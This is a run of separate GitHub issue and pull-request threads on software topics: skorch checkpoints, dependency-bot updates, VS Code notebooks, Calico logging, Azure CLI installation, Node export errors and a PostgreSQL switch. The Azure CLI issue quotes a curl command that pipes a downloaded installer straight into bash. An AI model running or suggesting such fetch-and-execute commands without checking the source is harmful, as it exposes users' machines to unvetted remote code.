dirname = 'exp1'
cp_monitor = Checkpoint(dirname=dirname)
cp_final = FinalCheckpoint(dirname=dirname)
load_state = LoadInitState(cp_final)

net = NeuralNet(..., callbacks=[cp_monitor, cp_final, load_state])
net.fit(X, y)

The FinalCheckpoint saves the model at the end of training. If one wants to continue training from the the final model, the final checkpoint is passed to LoadInitState and is loaded on the second run. The default prefix for FinalCheckpoint is final_ so it does not conflict with cp_monitor saving to the same directory.
This means the user does not need to run net.load_params or `net.save_params. Everything is handled by the checkpoints.

Thank you for this fantastic addition. I will have a deep look at this tomorrow.
The explanations you gave in your previous posts seem to be too useful to bury them in a closed PR, especially since this topic keeps coming up repeatedly. Would you mind adding those to the docs? I could see a new section about saving and loading, where you could put the above almost verbatim.

I will be happy to add a "Saving and Loading" section into the docs.

To deal with the dirname and f_* being file-like objects issue, a _valid_filenames function was placed in the __init__ and the initialize. The check is in  __init__, to catch the error early. It is in initialize for users that used net.set_params to set a f_*  to a file-like object.

The justification for LoadInitState is as follows:
Case 1 - No LoadInitState
cp = Checkpoint(dirname='exp1')
net = NeuralNet(..., callbacks=[cp]).initialize()
net.load_params(checkpoint=cp) # update to gracefully handle the first run
net.partial_fit(X, y)

Case 2 - With LoadInitState
cp = Checkpoint(dirname='exp1')
load_state = LoadInitState(cp)
net = NeuralNet(..., callbacks=[cp, load_state])
net.fit(X, y)

It makes the API slightly better for new users.

1. I noticed a lot of cases in test when a `pathlib.Path` object is cast into `str` to be passed to our `f_*` parameters. Should we perhaps natively support `Path`s to reduce friction?

The reason for that was that Python 3.5 does not support passing Paths as filename identifiers.
Regarding the name FinalCheckpoint: I did not have the association with that implying the best model checkpoint (but am also not a native speaker). Would the best model checkpoint not simply be what Checkpoint does by default? I have to say I like the name, what do others think?

The reason for that was that Python 3.5 does not support passing Paths as filename identifiers.

Right. So what I was suggesting is to consider moving this cast inside skorch functions such that the users don't need to think about which Python version they are using and just pass Path objects.

Would the best model checkpoint not simply be what Checkpoint does by default?

Yes it is, and I feel this contributes to my confusion. Line of thought: Checkpoint saves best performing models. What does FinalCheckpoint do then? Saves the "final" best performing model. But what does "final" mean...? Hm....

I think final is fine since it is the last checkpoint that gets written no matter what the scores are (or ^C is hit). When considering alternatives such as LatestCheckpoint there is also a different notion where the user might be inclined to believe the checkpoint is automatically the latest best checkpoint. So I'm fine with FinalCheckpoint.

Side note: does FinalCheckpoint support ctrl-c exit from training?

This is a good idea. There are some details that would need to be ironed out, since stopping training in the middle of a epoch, leaves the history in a interesting state. Given this PR is already +1k lines, I can work on this in another PR.

Saves the "final" best performing model. But what does "final" mean...? Hm....

The FinalCheckpoint considers the final epoch the "best". Given that, maybe FinalEpochCheckpoint or LastEpochCheckpoint, would be better?
This is why there are marketing teams for naming products. 😅

Given this PR is already +1k lines, I can work on this in another PR.

yeah

maybe FinalEpochCheckpoint or LastEpochCheckpoint, would be better?

Maybe LatestCheckpoint?

FinalCheckpoint and LatestCheckpoint are almost the same, since final and latest are synonyms: https://www.thesaurus.com/browse/final.
There are many words for final, we have considered end, final, last, and latest. It seems the confusion comes from what this word is describing. To avoid confusion, we can add what the final word is describing. TrainEndCheckpoint may be the only name that has no confusion. It is uglier, but if it makes the new user experience better, I would make this compromise.

From my point of view, this is good to go.

Great work everyone, this is the PR with the most comments so far :)
I merged this but this PR appears to be open probably due to this github issue: https://blog.github.com/2018-10-21-october21-incident-report/
We hope that this will fix itself when they restore order.


Update sbt-wartremover, wartremover to 3.0.13

About this PR
📦 Updates

org.wartremover:sbt-wartremover
org.wartremover:wartremover

from 3.0.7 to 3.0.13
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.wartremover" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "org.wartremover" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Manually updated


Bump SingleStoreDB Version

SingleStoreDB version number: 8.0.22
Internal Freya Release URL: https://freya.internal.memcompute.com/release/?releaseID=cef4fd52-7720-48f1-bd4c-6527d1b0e1b0

Cleaning up old issues.


Include #%% in executed code within Interactive window. (was: New notebook-style usability issues)

Issue Type: Feature Request
Hello.
After upgrading to VSCode 1.59.1 I have issues with the new notebook format.
I mostly use .py files and interactive iPython panel. Latest update broke my workflow.

There is no indication on the collapsed cell whether it's executing or not. I have to unwrap it just to see it's running.
It's impossible to delete a cell with one click. I have to select it or expand it first. There is no 'X' to get rid of an erroneus code instantly.
Collapsing the cell is not trivial too. If it's a long one I have to scroll all the way down to double-click it's number. Which itself (double-clicking the number) was not an easy thing to figure out.
Cell header is not propagating from '#%%' comment. I now have to modify all my files to have a comment right below "#%%' line so that I know what cell is running.

Is there any chance this will be fixed in future releases?
Extension version: 2021.8.1147840270
VS Code version: Code 1.59.1 (3866c3553be8b268c8a7f8c0482c0c0177aa8bfa, 2021-08-19T11:53:52.479Z)
OS version: Darwin x64 20.6.0
Restricted Mode: No

and 2. are both fixed in Insiders and the upcoming Stable release. For 1., a blue progress bar will display on top of the executing cell even when it's collapsed. For 2., the cell toolbar will be rendered when the cell is collapsed. You can configure "notebook.cellToolbarVisibility": "hover" so that you don't need to click on a cell for the toolbar to appear. Here's what that looks like together:

Re: 3., you can double click anywhere on the cell container to collapse it; doesn't have to be on the execution count. You can also use Ctrl+K Ctrl+C, or right click on the cell and select Collapse Cell Input:

Cell header is not propagating from '#%%' comment. I now have to modify all my files to have a comment right below "#%%' line so that I know what cell is running.

We removed propagating the cell header in response to user feedback https://github.com/microsoft/vscode-jupyter/issues/6623 A setting might make sense here though.

closing as most of this looks completed, please open a new issue for any remaining concerns


global: fix failing build

https://travis-ci.org/github/inveniosoftware/invenio-records-files/builds/664502268

closed by #98


Add support for Logging into Network Policies

Signed-off-by: Ricardo Pchevuzinske Katz<EMAIL_ADDRESS>Description

the type of fix - New Feature
some details on why this PR should be merged - This PR adds support for Kubernetes Policy Controller to create Logging Rules
the details of the testing you've done on it (both manual and automated) - Manual tests been made into a CoreOS with K8S 1.16, created default deny policies (ingress, egress and both), enabling and disabling the rules and also specific rules
which components are affected by this PR - kube-controllers (couldn't check if also Felix with KDD works fine, need more testing into this)
links to issues that this PR addresses - Couldn't find one

Some more notes: This is related to #1117 where we need to tell to Calico which rule to log. But instead of having a log rule with noMatch and etc, this adds log support for the default-deny logic from Kubernetes (no selectors) and also for specific rules
Todos

[ ] Tests - TESTS ARE MISSING AND WILL BE MADE LATER IN THIS PR :)
[ ] Documentation
[ ] Release note

Release Note

Added support to logging into Kubernetes Policy Controller. Policies to be logged must contain now the annotation projectcalico.org/log-rule

@rikatz Thank you for submitting this PR and taking the initiative to contribute to Calico's growth and development.
While this PR would make auditing policy easier, it also overlaps with the business side of making Calico easier to adopt in the enterprise and some of the development efforts in progress for our commercial offering. We'll revisit this PR (and others like it) as Kubernetes platforms mature and the challenges with commercial adoption of Calico evolve.
Feel free to reach out to me on CU if you have any questions.

Hi @tigeraphil tks for the answer.
Probably the best way is to close this PR so, or do You wan't me to keep it open?
Tks

Yeah, let's close this for now. Thanks @rikatz


install fails under Gentoo Lnux early

Describe the bug
The installer fails both in a clean environment and within a venv, create with:
python -m venv ~/hlag

Related command
curl -L https://aka.ms/InstallAzureCli | bash
Errors
This is the error message:
Infra $ curl -L https://aka.ms/InstallAzureCli | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  1405  100  1405    0     0   1605      0 --:--:-- --:--:-- --:--:--  1605
Downloading Azure CLI install script from https://azurecliprod.blob.core.windows.net/install.py to /tmp/azure_cli_install_tmp_q6bJtQ.
######################################################################## 100.0%
/tmp/azure_cli_install_tmp_q6bJtQ: OK
Running install script.
-- Verifying Python version.
-- Python version 3.11.4 okay.
-- Verifying native dependencies.
-- Unable to verify native dependencies. dist=gentoo, version=2.14. Continuing...

===> In what directory would you like to place the install? (leave blank to use '/home/tfoerste/lib/azure-cli'):
-- Creating directory '/home/tfoerste/lib/azure-cli'.
-- We will install at '/home/tfoerste/lib/azure-cli'.

===> In what directory would you like to place the 'az' executable? (leave blank to use '/home/tfoerste/bin'):
-- The executable will be in '/home/tfoerste/bin'.
-- Downloading virtualenv package from https://pypi.python.org/packages/source/v/virtualenv/virtualenv-16.7.11.tar.gz.
-- Downloaded virtualenv package to /tmp/tmpxrs0y1ri/virtualenv-16.7.11.tar.gz.
-- Checksum of /tmp/tmpxrs0y1ri/virtualenv-16.7.11.tar.gz OK.
-- Extracting '/tmp/tmpxrs0y1ri/virtualenv-16.7.11.tar.gz' to '/tmp/tmpxrs0y1ri'.
-- Executing: ['/home/tfoerste/hlag/bin/python3', 'virtualenv.py', '--python', '/home/tfoerste/hlag/bin/python3', '/home/tfoerste/lib/azure-cli']
Already using interpreter /home/tfoerste/hlag/bin/python3
Using base prefix '/usr'
New python executable in /home/tfoerste/lib/azure-cli/bin/python3
Also creating executable in /home/tfoerste/lib/azure-cli/bin/python
ERROR: The executable /home/tfoerste/lib/azure-cli/bin/python3 is not functioning
ERROR: It thinks sys.prefix is '/usr' (should be '/home/tfoerste/lib/azure-cli')
ERROR: virtualenv is not compatible with this system or executable
Traceback (most recent call last):
  File "/tmp/azure_cli_install_tmp_q6bJtQ", line 415, in <module>
    main()
  File "/tmp/azure_cli_install_tmp_q6bJtQ", line 399, in main
    create_virtualenv(tmp_dir, install_dir)
  File "/tmp/azure_cli_install_tmp_q6bJtQ", line 144, in create_virtualenv
    exec_command(cmd, cwd=working_dir)
  File "/tmp/azure_cli_install_tmp_q6bJtQ", line 105, in exec_command
    subprocess.check_call(command_list, cwd=cwd, env=env)
  File "/usr/lib/python3.11/subprocess.py", line 413, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/home/tfoerste/hlag/bin/python3', 'virtualenv.py', '--python', '/home/tfoerste/hlag/bin/python3', '/home/tfoerste/lib/azure-cli']' returned non-zero exit status 100.

Issue script & Debug output
n/a
Expected behavior
https://aka.ms/InstallAzureCli
Environment Summary
it should work (it worked in the past with 2.49)
Additional context
No response

Thank you for opening this issue, we will look into it.

Hello, this script is deprecated.
Please follow steps in this issue to install azure-cli via pip: https://github.com/Azure/azure-cli/issues/20476
@jiasli, I prefer to remove it from doc and replace it with #20476.

indeed, pip seems to work.


reference links are broken. documentation link missing.

Most of the link in README.md section is broken. Like: stream-based IO
Your website says:

For more details, please have a look at the documentation.

But I can't find a visible documentation link anywhere.

Thanks for reporting!


⚠ RPC server - Binance BSCT has degraded performance

In ace9921, RPC server - Binance BSCT ($BINANCE_BSCT_RPC_URL) experienced degraded performance:

HTTP code: 502
Response time: 1237 ms

Resolved: RPC server - Binance BSCT performance has improved in 45f16a8.


Module not found: Error: Package path . is not exported from package

Version
5.0.4
Reproduction link
github.com
Environment info
node v14.18.1
vue/cli 5.0.4

Steps to reproduce

npm install
npm run serve

What is expected?
Normal operation

What is actually happening?
Module not found: Error: Package path . is not exported from package

in “version-compare” package.json;
"exports": {
    "node": {
      "import": "./edition-es5-esm/index.js",
      "require": "./edition-es5/index.js"
    }
 },

Is it because of this? How to import and use it correctly

This is a problem with that package - it needs to correctly define exports for non-node environments.
you already opened an issue there, so we will close this one.

Thank you for your reply

error ./src/app/page.tsx:10:0
Module not found: Package path ./lib/image is not exported from package D:\API PROJECT\ecommerce-website\node_modules\sanity (see exports field in D:\API PROJECT\ecommerce-website\node_modules\sanity\package.json)
8 | import { Image as IImage } from "sanity";
9 | import Image from "next/image";

10 | import { urlForImage } from "sanity/lib/image";
11 |
12 | export const getProductData = async () => {
13 |   const res = await client.fetch(`*[_type=="product"]{

https://nextjs.org/docs/messages/module-not-found
how to resolve this issue?

@Ahayaat

FYI ->

@rmcsharry
FYI ->

Module not found: Error: Package path ./swiper.less is not exported from package C:\Users\dkade\Desktop\landingIron\node_modules\swiper (see exports field in C:\Users\dkade\Desktop\landingIron\node_modules\swiper\package.json)

still same.
- Error: Module not found: Error: Package path ./public-api is not exported from package
Angular 17, and library standalone

still same:  fyi
Module not found: Error: Package path ./modules is not exported from package "url"


--lua-sandbox-allowed-modules flag/argument on Docker container not working

I am trying to run the splash Docker container on Ubuntu 16.04 and when I try and run the following command:
docker run -p 8050:8050 -p 5023:5023 -v /modules:/etc/splash/lua_modules --lua-sandbox-allowed-modules 'module1' --name splash scrapinghub/splash
I receive the following message:  "unknown flag: --lua-sandbox-allowed-modules"
I was following the directions on this page. Are the directions out of date, am I running the command incorrectly, or is there another issue? I am able to get the Docker container running using the command --disable-lua-sandbox but it would be nice to get it working properly.

Thanks for the heads up @tosaddler! Command in docs was incorrect - you need to pass Docker options before the image name, and Splash options after the image name. So it should be something like this:
docker run -p 8050:8050 -p 5023:5023 -v /modules:/etc/splash/lua_modules --name splash scrapinghub/splash --lua-sandbox-allowed-modules 'module1' .


python310Packages.duecredit: 0.9.2 -> 0.9.3

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.duecredit is: Simple framework to embed references in code
meta.homepage for python310Packages.duecredit is: https://github.com/duecredit/duecredit
meta.changelog for python310Packages.duecredit is: https://github.com/duecredit/duecredit/releases/tag/0.9.3
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.9.3 with grep in /nix/store/xqy5yj0gqckmldaylvckzw7xnhcrj17w-python3.10-duecredit-0.9.3
found 0.9.3 in filename of file in /nix/store/xqy5yj0gqckmldaylvckzw7xnhcrj17w-python3.10-duecredit-0.9.3

Rebuild report (if merged into master) (click to expand)

5 total rebuild path(s)

5 package rebuild(s)

First fifty rebuilds by attrpath
datalad
python310Packages.duecredit
python310Packages.heudiconv
python311Packages.duecredit
python311Packages.heudiconv

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/xqy5yj0gqckmldaylvckzw7xnhcrj17w-python3.10-duecredit-0.9.3 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.duecredit https://github.com/r-ryantm/nixpkgs/archive/3e3853100ab4c82820322c6c989c3a8f3044f3fa.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/3e3853100ab4c82820322c6c989c3a8f3044f3fa#python310Packages.duecredit

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/xqy5yj0gqckmldaylvckzw7xnhcrj17w-python3.10-duecredit-0.9.3
ls -la /nix/store/xqy5yj0gqckmldaylvckzw7xnhcrj17w-python3.10-duecredit-0.9.3/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

5 packages built:

datalad
python310Packages.duecredit
python310Packages.heudiconv
python311Packages.duecredit
python311Packages.heudiconv

Maintainer pings
cc @bcdarwin for testing.

Release dropped the six dependency

Done, also raised the minimum python version, since importlib-metadata is required on python < 3.8.


M00-LAB13: Instructions need some updates

Contact Details
No response
What should we change?
Description of issue
Instructions and azure portal are different, Instructions docs needs some updating.
Repro steps:

Exercise 1, Task 2, Step 4 -> "+ Add Access Policy" from instructions should change to "+ Create"
Exercise 1, Task 2, Steps 5, 7 -> "Add access policy" from instructions should change to "Create an access policy"
Exercise 1, Task 2, Step 10 -> Secrets is not under Settings section, it's under Objects section.

Lab
Lab 13 Integrate Azure Key Vault with Azure DevOps
Relevant screenshots
Exercise 1, Task 2, Step 4,5,7

Exercise 1, Task 2, Step 10

#303 will fix it


Calculate placing at a given timing marker

This may be a different calculation for an individual result vs the whole data set. If it's the whole thing, really need to do it as a single query.

Need to look at the efficiency of this. At the moment, I've done it in the naive way, but that involves fetching the entire dataset for each time we calculate the placing at a given timing mark, which obviously doesn't scale across the whole set of results.

This will absolutely have to be done via some sort of query into the database, otherwise there's a huge fetch. In the case of the overall results list, we'll have already fetched all the results (and are doing an OrderBy on the RunTime anyway) so calculating the ranking is straightforward, and can be done without additional fetches.

Need to use a ROW_NUMBER() query in order to get this:
SELECT RowNr
FROM (
    SELECT
         ROW_NUMBER() OVER (ORDER BY mycolumn) AS RowNr,
         mycolumn
    FROM mytable
) sub
WHERE sub.mycolumn = 42

The penalty for doing this when we're looking at the whole results set isn't actually too bad, given that we're going to do the whole fetch anyway. It may be that the amount of data we're talking about just isn't worth worrying about, even if we only want a subset of it.

Going to close this as we can do this in memory.


Update UserGuide for second half of Features & Usage

Update UG for second half of Features & Usage:

list c
view c <CANDIDATE INDEX>

Codecov Report

Merging #15 (a0b85e5) into master (ccf07dd) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #15   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ccf07dd...a0b85e5. Read the comment docs.

LGTM.


Switch to PostgreSQL in development environment?

We currently use PostgreSQL in the deployed environment(s), and SQLite in the development and testing environment.  I think we also should use PostgreSQL in the development and testing environments as well.  This will reduce the differences between the development and deployed environments, resulting in these benefits:

We'll minimize surprises from unexpected behavioral differences of different RDBMSs.
We can share database dumps (or extracts from them) much more easily, so the test datasets can be more like the 'real thing', and it will be easier to reproduce particular data sets.

We can't switch the other way.  Heroku really wants RDBMSs to be PostgreSQL, and SQLite is not intended for scale like this.
My main concern is... will this inhibit contributions, due to extra effort in configuring PostgreSQL?  SQLite is a beautiful "don't need to do anything".  There's some configuration work, see (for example): https://www.digitalocean.com/community/tutorials/how-to-use-postgresql-with-your-ruby-on-rails-application-on-ubuntu-14-04.  I think we can check in some steps, reducing the effort, but some steps will need to be added to the instructions for new developers.  We can also deploy preconfigured development environments to solve this (e.g., using vagrant, packer, or Docker).

When testing, turn off fsync... that makes it faster.  See:
http://dev.mensfeld.pl/2016/03/speeding-up-rspec-and-cucumber-on-the-ci-server-with-postgresql-fsync-flag-and-parallel-execution/

Turning off 'fsync' turns out to be trickier, and really, it's not necessary.  Even without it, PostgreSQL performs in 'rake test' at essentially the same speed as SQLite.  Which is frankly really surprising, I expecting a small performance loss, but I'm not complaining :-).

This is now implemented in the david-postgresql-everywhere branch:
https://github.com/linuxfoundation/cii-best-practices-badge/tree/david-postgresql-everywhere

This worked for me on OS X. Please merge.

All merged, we are now in the utopia of a single database system for all environments :-).

After merging, I keep getting this error for rake tasks for db creation and in the application itself:
FATAL: role "dale" does not exist

It appears to be coming out of postgresql_adapter.rb when connecting. As you might guess, "dale" is my user id on my Ubuntu box.

Safest to clear out everything (if you can):
    rake db:drop:all

Then restart new database with:
    rake db:create:all
    rake db:migrate

    rake db:seed

Let me know if that fails.  It should work...!

(There's a faster way to reset, but if there's a problem, doing things in shorter steps may give us a clue...!)

Same failure at second step...
$ rake db:create:all
FATAL:  role "dale" does not exist
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:661:in rescue in connect' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:651:in connect'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:242:in initialize' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:44:in new'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:44:in postgresql_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:438:in new_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:448:in checkout_new_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:422:in acquire_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:349:in block in checkout' /home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:348:in checkout' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:263:in block in connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:262:in connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:571:in retrieve_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_handling.rb:113:in retrieve_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_handling.rb:87:in connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/postgresql_database_tasks.rb:6:in connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/postgresql_database_tasks.rb:15:in create' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:93:in create'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:102:in block in create_all' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:284:in block in each_local_configuration'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:280:in each_value' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:280:in each_local_configuration'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:102:in create_all' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/railties/databases.rake:11:in block (3 levels) in <top (required)>'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:248:in block in execute' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:243:in each'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:243:in execute' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:187:in block in invoke_with_call_chain'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:180:in invoke_with_call_chain'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:173:in invoke' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:150:in invoke_task'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in block (2 levels) in top_level' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in each'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in block in top_level' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:115:in run_with_threads'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:100:in top_level' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:78:in block in run'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:176:in standard_exception_handling' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:75:in run'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/bin/rake:33:in <top (required)>' /home/dale/.rbenv/versions/2.3.0/bin/rake:23:in load'
/home/dale/.rbenv/versions/2.3.0/bin/rake:23:in <main>' Couldn't create database for {"adapter"=>"postgresql", "encoding"=>"unicode", "pool"=>5, "timeout"=>5000, "database"=>"development"} FATAL:  role "dale" does not exist /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:661:in rescue in connect'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:651:in connect' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:242:in initialize'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:44:in new' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/postgresql_adapter.rb:44:in postgresql_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:438:in new_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:448:in checkout_new_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:422:in acquire_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:349:in block in checkout'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:348:in checkout'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:263:in block in connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:262:in connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_adapters/abstract/connection_pool.rb:571:in retrieve_connection'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_handling.rb:113:in retrieve_connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/connection_handling.rb:87:in connection'
